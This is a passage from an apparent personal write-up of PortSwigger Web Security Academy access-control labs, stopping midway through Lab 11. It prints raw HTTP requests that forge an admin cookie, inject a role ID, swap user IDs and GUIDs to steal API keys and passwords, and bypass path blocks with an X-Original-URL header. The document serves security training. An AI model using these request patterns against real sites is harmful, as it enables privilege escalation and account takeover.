&lt;li&gt;So now we have to do req to admin page with &lt;code&gt;true&lt;/code&gt; flag and we will able to access &lt;code&gt;admin&lt;/code&gt; page,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;GET /admin HTTP/1.1
Host: 0a7000d4037f65ad80b399c400510047.web-security-academy.net
Connection: keep-alive
Cache-Control: max-age=0
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: &quot;Windows&quot;
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a7000d4037f65ad80b399c400510047.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: Admin=true; session=JR0YqIvOVYRdKXAwl6OkqxKfY7kUBmAx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251117234033.png&quot; alt=&quot;Pasted image 20251117234033.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;And now we can delete &lt;code&gt;carlos&lt;/code&gt; and lab will be solved,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;GET /admin/delete?username=carlos HTTP/1.1
Host: 0a7000d4037f65ad80b399c400510047.web-security-academy.net
Connection: keep-alive
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: &quot;Windows&quot;
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a7000d4037f65ad80b399c400510047.web-security-academy.net/admin
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: Admin=true; session=JR0YqIvOVYRdKXAwl6OkqxKfY7kUBmAx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251117234300.png&quot; alt=&quot;Pasted image 20251117234300.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 4: User role can be modified in user profile&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251117232223.png&quot; alt=&quot;Pasted image 20251117232223.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;we can log in to our own account using the following credentials: &lt;code&gt;wiener:peter&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120155245.png&quot; alt=&quot;Pasted image 20251120155245.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now, We try to use update email feature and capture its request,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;POST /my-account/change-email HTTP/1.1
Host: 0a09009403b0b40b81a476d5008600f3.web-security-academy.net
Connection: keep-alive
Content-Length: 27
sec-ch-ua-platform: &quot;Windows&quot;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
Content-Type: text/plain;charset=UTF-8
sec-ch-ua-mobile: ?0
Accept: */*
Origin: https://0a09009403b0b40b81a476d5008600f3.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a09009403b0b40b81a476d5008600f3.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: session=DmyfyBF39LooQXPSNWWEJvY1utRZbbWU

{
&quot;email&quot;:&quot;hello@hello.com&quot;,
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Now we will access &lt;code&gt;/admin&lt;/code&gt; and try to add &lt;code&gt;roleId=2&lt;/code&gt; as said in description,&lt;/li&gt;
&lt;li&gt;And we got admin panel access and after deleting the &lt;code&gt;carlos&lt;/code&gt; user we will solve the lab&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;POST /admin HTTP/1.1
Host: 0a09009403b0b40b81a476d5008600f3.web-security-academy.net
Connection: keep-alive
Content-Length: 27
sec-ch-ua-platform: &quot;Windows&quot;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
Content-Type: text/plain;charset=UTF-8
sec-ch-ua-mobile: ?0
Accept: */*
Origin: https://0a09009403b0b40b81a476d5008600f3.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a09009403b0b40b81a476d5008600f3.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: session=DmyfyBF39LooQXPSNWWEJvY1utRZbbWU

{
&quot;email&quot;:&quot;hello@hello.com&quot;,
&quot;roleid&quot;:2
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120155818.png&quot; alt=&quot;Pasted image 20251120155818.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/admin/delete?username=carlos
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120160032.png&quot; alt=&quot;Pasted image 20251120160032.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120160053.png&quot; alt=&quot;Pasted image 20251120160053.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 5: User ID controlled by request parameter&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120160156.png&quot; alt=&quot;Pasted image 20251120160156.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This lab has a horizontal privilege escalation vulnerability on the user account page.&lt;/li&gt;
&lt;li&gt;To solve the lab, obtain the API key for the user &lt;code&gt;carlos&lt;/code&gt; and submit it as the solution.&lt;/li&gt;
&lt;li&gt;We can log in to our own account using the following credentials: &lt;code&gt;wiener:peter&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120160332.png&quot; alt=&quot;Pasted image 20251120160332.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Here is the update email req,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;POST /my-account/change-email HTTP/1.1
Host: 0a15001603d47635811b8470003e00fd.web-security-academy.net
Connection: keep-alive
Content-Length: 61
Cache-Control: max-age=0
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: &quot;Windows&quot;
Origin: https://0a15001603d47635811b8470003e00fd.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a15001603d47635811b8470003e00fd.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: session=Ajc2ZIV4rVnCqphGJYrhDCzNOgvdkvXN

email=hello%40hello.com&amp;amp;csrf=3qE6wFPDrUGWXfezJ4Q6pG1LIf4UyQdU
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;I just changed the ID in url from &lt;code&gt;wiener&lt;/code&gt; to &lt;code&gt;carlos&lt;/code&gt; and got the API and by submitting it solve the lab,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120160805.png&quot; alt=&quot;Pasted image 20251120160805.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;API: O1JiYloiVdEaN7WXkUmmUT733yv2voem
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120160833.png&quot; alt=&quot;Pasted image 20251120160833.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 6: User ID controlled by request parameter, with unpredictable user IDs&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120161034.png&quot; alt=&quot;Pasted image 20251120161034.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This lab has a horizontal privilege escalation vulnerability on the user account page, but identifies users with GUIDs.&lt;/li&gt;
&lt;li&gt;To solve the lab, find the GUID for &lt;code&gt;carlos&lt;/code&gt;, then submit his API key as the solution.&lt;/li&gt;
&lt;li&gt;You can log in to your own account using the following credentials: &lt;code&gt;wiener:peter&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120161144.png&quot; alt=&quot;Pasted image 20251120161144.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This time there is &lt;code&gt;GUID&lt;/code&gt; so we have to find GUID of carlos and replace so we can steal API key,&lt;/li&gt;
&lt;li&gt;So here is my approach,
&lt;ul&gt;
&lt;li&gt;First, i found blog by written &lt;code&gt;carlos&lt;/code&gt; and try to visit his profile&lt;/li&gt;
&lt;li&gt;And there i found leaked GUID of carlos.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120161716.png&quot; alt=&quot;Pasted image 20251120161716.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120161749.png&quot; alt=&quot;Pasted image 20251120161749.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;userId: bde1e1b2-ff21-4466-8613-50ee5a9db031
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;And now, by swapping this GUID with wiener we got API and by submitting we solve the lab,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120161913.png&quot; alt=&quot;Pasted image 20251120161913.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;API Key: 1qPGbVCgrT3i4J5vf1FKfAtkyY6w6mVh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120162031.png&quot; alt=&quot;Pasted image 20251120162031.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 7: User ID controlled by request parameter with data leakage in redirect&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120162111.png&quot; alt=&quot;Pasted image 20251120162111.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This lab contains an access control vulnerability where sensitive information is leaked in the body of a redirect response.&lt;/li&gt;
&lt;li&gt;To solve the lab, obtain the API key for the user &lt;code&gt;carlos&lt;/code&gt; and submit it as the solution.&lt;/li&gt;
&lt;li&gt;You can log in to your own account using the following credentials: &lt;code&gt;wiener:peter&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120162454.png&quot; alt=&quot;Pasted image 20251120162454.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /my-account?id=wiener HTTP/1.1
Host: 0afe003004a363fa80e59453007b00d4.web-security-academy.net
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: &quot;Windows&quot;
Referer: https://0afe003004a363fa80e59453007b00d4.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: session=QCmu5AFtYvvsFjEJ9dZRNxfvxnIwabhL
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;By tweaking &lt;code&gt;id=carlos&lt;/code&gt;, i got leaked info in response body before redirecting the page,&lt;/li&gt;
&lt;li&gt;And it API key leaked,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120162631.png&quot; alt=&quot;Pasted image 20251120162631.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;By submitting this key we solve the lab,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;API: OB9hCa6mX548iLM6dsEonZO7lJtPuIfW
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120162842.png&quot; alt=&quot;Pasted image 20251120162842.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 8: User ID controlled by request parameter with password disclosure&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120163002.png&quot; alt=&quot;Pasted image 20251120163002.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This lab has user account page that contains the current user&apos;s existing password, prefilled in a masked input.&lt;/li&gt;
&lt;li&gt;To solve the lab, retrieve the administrator&apos;s password, then use it to delete the user &lt;code&gt;carlos&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;You can log in to your own account using the following credentials: &lt;code&gt;wiener:peter&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120163136.png&quot; alt=&quot;Pasted image 20251120163136.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I tried to tweak the ID to &lt;code&gt;administrator&lt;/code&gt; and i got its page, now we can simply see password by changing the value of input field in source code,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120163404.png&quot; alt=&quot;Pasted image 20251120163404.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120163523.png&quot; alt=&quot;Pasted image 20251120163523.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;administator: 6pzztldhgjyxynwy5d3z
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Now we login using this and delete carlos,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120163626.png&quot; alt=&quot;Pasted image 20251120163626.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120163644.png&quot; alt=&quot;Pasted image 20251120163644.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120163651.png&quot; alt=&quot;Pasted image 20251120163651.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 9: Insecure direct object references&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120163742.png&quot; alt=&quot;Pasted image 20251120163742.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This lab stores user chat logs directly on the server&apos;s file system, and retrieves them using static URLs.&lt;/li&gt;
&lt;li&gt;Solve the lab by finding the password for the user &lt;code&gt;carlos&lt;/code&gt;, and logging into their account.&lt;/li&gt;
&lt;li&gt;This is the chat functionality,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120163857.png&quot; alt=&quot;Pasted image 20251120163857.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I intercept the &lt;code&gt;view-transcript&lt;/code&gt; req and here it is,&lt;/li&gt;
&lt;li&gt;It downloads &lt;code&gt;2.txt&lt;/code&gt; containing some msgs,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;GET /download-transcript/2.txt HTTP/1.1
Host: 0a2900f104417d4681a620750044002a.web-security-academy.net
Connection: keep-alive
sec-ch-ua-platform: &quot;Windows&quot;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
sec-ch-ua-mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a2900f104417d4681a620750044002a.web-security-academy.net/chat
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: session=34dLOGbFSD6QeX82iwjNzB29t41EeC0k
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;So i tried to change it with &lt;code&gt;1.txt&lt;/code&gt; so previous conversation and this is static files in server so maybe it is there and i found file,&lt;/li&gt;
&lt;li&gt;It contains password of carlos,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;CONNECTED: -- Now chatting with Hal Pline --
You: Hi Hal, I think I&apos;ve forgotten my password and need confirmation that I&apos;ve got the right one
Hal Pline: Sure, no problem, you seem like a nice guy. Just tell me your password and I&apos;ll confirm whether it&apos;s correct or not.
You: Wow you&apos;re so nice, thanks. I&apos;ve heard from other people that you can be a right ****
Hal Pline: Takes one to know one
You: Ok so my password is gddxknfya7etljq17h3t. Is that right?
Hal Pline: Yes it is!
You: Ok thanks, bye!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120164229.png&quot; alt=&quot;Pasted image 20251120164229.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;And by login with this &lt;code&gt;carlos:gddxknfya7etljq17h3t&lt;/code&gt; we solve the lab,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120164456.png&quot; alt=&quot;Pasted image 20251120164456.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 10: URL-based access control can be circumvented&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120214400.png&quot; alt=&quot;Pasted image 20251120214400.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This website has an unauthenticated admin panel at &lt;code&gt;/admin&lt;/code&gt;, but a front-end system has been configured to block external access to that path.&lt;/li&gt;
&lt;li&gt;However, the back-end application is built on a framework that supports the &lt;code&gt;X-Original-URL&lt;/code&gt; header.&lt;/li&gt;
&lt;li&gt;To solve the lab, access the admin panel and delete the user &lt;code&gt;carlos&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Direct access to &lt;code&gt;/admin&lt;/code&gt; is got blocked,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120215000.png&quot; alt=&quot;Pasted image 20251120215000.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So as description we can try &lt;code&gt;X-Original-URL&lt;/code&gt; with &lt;code&gt;/admin&lt;/code&gt; path on &lt;code&gt;GET /&lt;/code&gt; and it worked and we got &lt;code&gt;200 OK&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;GET / HTTP/1.1
Host: 0a3d00e80361cfc281a91dad0043009f.web-security-academy.net
Connection: keep-alive
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: &quot;Windows&quot;
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a3d00e80361cfc281a91dad0043009f.web-security-academy.net/
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
X-Original-URL: /admin
Cookie: session=2KZBhLQpUR1JzXtIVbkjNU6mj1vzBGe1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120215139.png&quot; alt=&quot;Pasted image 20251120215139.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now we will delete carlos user so we have to put &lt;code&gt;/admin/delete&lt;/code&gt; and put path in &lt;code&gt;GET /?username=carlos&lt;/code&gt;,
&lt;ul&gt;
&lt;li&gt;IIS treats&lt;code&gt; X-Original-URL&lt;/code&gt; as &lt;code&gt;path only&lt;/code&gt;, not full URL&lt;/li&gt;
&lt;li&gt;Many reverse proxies sanitize query params from custom headers Because passing user-controlled query strings via headers could cause &lt;strong&gt;parameter injection&lt;/strong&gt;, &lt;strong&gt;log poisoning&lt;/strong&gt;, or &lt;strong&gt;routing confusion&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;GET /?username=carlos HTTP/1.1
Host: 0a3d00e80361cfc281a91dad0043009f.web-security-academy.net
Connection: keep-alive
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: &quot;Windows&quot;
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a3d00e80361cfc281a91dad0043009f.web-security-academy.net/
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
X-Original-URL: /admin/delete
Cookie: session=2KZBhLQpUR1JzXtIVbkjNU6mj1vzBGe1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120215632.png&quot; alt=&quot;Pasted image 20251120215632.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120215647.png&quot; alt=&quot;Pasted image 20251120215647.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Lab 11: Method-based access control can be circumvented&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120215858.png&quot; alt=&quot;Pasted image 20251120215858.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;This lab implements access controls based partly on the HTTP method of requests.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can familiarize yourself with the admin panel by logging in using the credentials &lt;code&gt;administrator:admin&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;To solve the lab, log in using the credentials &lt;code&gt;wiener:peter&lt;/code&gt; and exploit the flawed access controls to promote yourself to become an administrator.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Login as &lt;code&gt;administrator:admin&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120220042.png&quot; alt=&quot;Pasted image 20251120220042.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /my-account?id=administrator HTTP/1.1
Host: 0a8200d103e2614582c3b05c00a800ca.web-security-academy.net
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: &quot;Windows&quot;
Referer: https://0a8200d103e2614582c3b05c00a800ca.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: session=JISTQTv1fu6p92Y57OUD3BazVZBoueuE
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;In &lt;code&gt;Admin Panel&lt;/code&gt; there is one feature called ==Upgrade or Downgrade user== to admin and here is the req of it,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251120220309.png&quot; alt=&quot;Pasted image 20251120220309.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /admin-roles HTTP/1.1
Host: 0a8200d103e2614582c3b05c00a800ca.web-security-academy.net
Connection: keep-alive
Content-Length: 30
Cache-Control: max-age=0
sec-ch-ua: &quot;Chromium&quot;;v=&quot;142&quot;, &quot;Google Chrome&quot;;v=&quot;142&quot;, &quot;Not_A Brand&quot;;v=&quot;99&quot;
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: &quot;Windows&quot;
Origin: https://0a8200d103e2614582c3b05c00a800ca.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a8200d103e2614582c3b05c00a800ca.web-security-academy.net/admin
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: session=KaR1ZqDShj7H7ZzkKXkRdjRMuMjTBDeK

username=carlos&amp;amp;action=upgrade
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Our aim to login as wiener with this admin privileges without getting upgraded so now we will proceed,&lt;/li&gt;
&lt;li&gt;First we have to open incognito/private windows to login with another creds of wiener,&lt;/li&gt;
&lt;li&gt;So we login using that and copy cookie of this user,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;8nQDBnAR7nxOil95r1ARNLF0ECNDIK6M
&lt;/code&gt;&lt;/pre&gt;
